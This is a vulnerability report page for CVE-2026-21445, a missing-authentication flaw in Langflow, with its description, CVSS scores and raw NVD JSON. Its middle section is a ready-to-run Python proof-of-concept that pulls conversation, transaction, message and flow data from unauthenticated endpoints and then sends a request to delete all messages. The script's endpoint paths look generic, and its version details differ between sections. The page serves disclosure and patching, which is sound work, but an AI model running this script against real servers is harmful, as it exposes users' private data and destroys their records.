Security Vulnerability Report
中文
CVE-2026-21445 CVSS 9.1 CRITICAL

CVE-2026-21445

Published: 2026-01-02 20:16:18
Last Modified: 2026-01-16 18:32:17

Description

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization. Version 1.7.0.dev45 contains a patch.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:* - VULNERABLE
Langflow < 1.7.0.dev45

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json target = "http://target-langflow-server:3000" cve_id = "CVE-2026-21445" # Endpoints vulnerable to missing authentication endpoints = [ "/api/v1/conversations", # User conversation data "/api/v1/transactions", # Transaction histories "/api/v1/messages", # Message data "/api/v1/flows", # Flow configurations ] print(f"[*] POC for {cve_id} - Missing Authentication in Langflow") print(f"[*] Target: {target}\n") for endpoint in endpoints: url = target + endpoint print(f"[+] Testing endpoint: {url}") try: # No authentication required - direct access response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() print(f" [SUCCESS] Retrieved data from {endpoint}") print(f" Data preview: {json.dumps(data, indent=2)[:500]}...") elif response.status_code == 401: print(f" [PROTECTED] Endpoint requires authentication") else: print(f" [INFO] Status code: {response.status_code}") except Exception as e: print(f" [ERROR] {str(e)}") # Destructive operation - message deletion (no auth required) delete_url = target + "/api/v1/messages/delete" payload = {"message_ids": ["all"]} print(f"\n[+] Testing destructive operation: {delete_url}") try: response = requests.post(delete_url, json=payload, timeout=10) print(f" Status: {response.status_code}") except Exception as e: print(f" [ERROR] {str(e)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21445", "sourceIdentifier": "[email protected]", "published": "2026-01-02T20:16:17.880", "lastModified": "2026-01-16T18:32:17.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization. Version 1.7.0.dev45 contains a patch."}, {"lang": "es", "value": "Langflow es una herramienta para construir y desplegar agentes y flujos de trabajo impulsados por IA. Antes de la versión 1.7.0.dev45, múltiples puntos finales críticos de la API en Langflow carecen de controles de autenticación. El problema permite a cualquier usuario no autenticado acceder a datos sensibles de conversaciones de usuarios, historiales de transacciones y realizar operaciones destructivas, incluida la eliminación de mensajes. Esto afecta a los puntos finales que manejan datos personales y operaciones del sistema que deberían requerir una autorización adecuada. La versión 1.7.0.dev45 contiene un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.1", "matchCriteriaId": "E2F27CA9-B577-49BB-B10F-3DB9B4DB934E"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow/commit/3fed9fe1b5658f2c8656dbd73508e113a96e486a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-c5cp-vx83-jhqx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}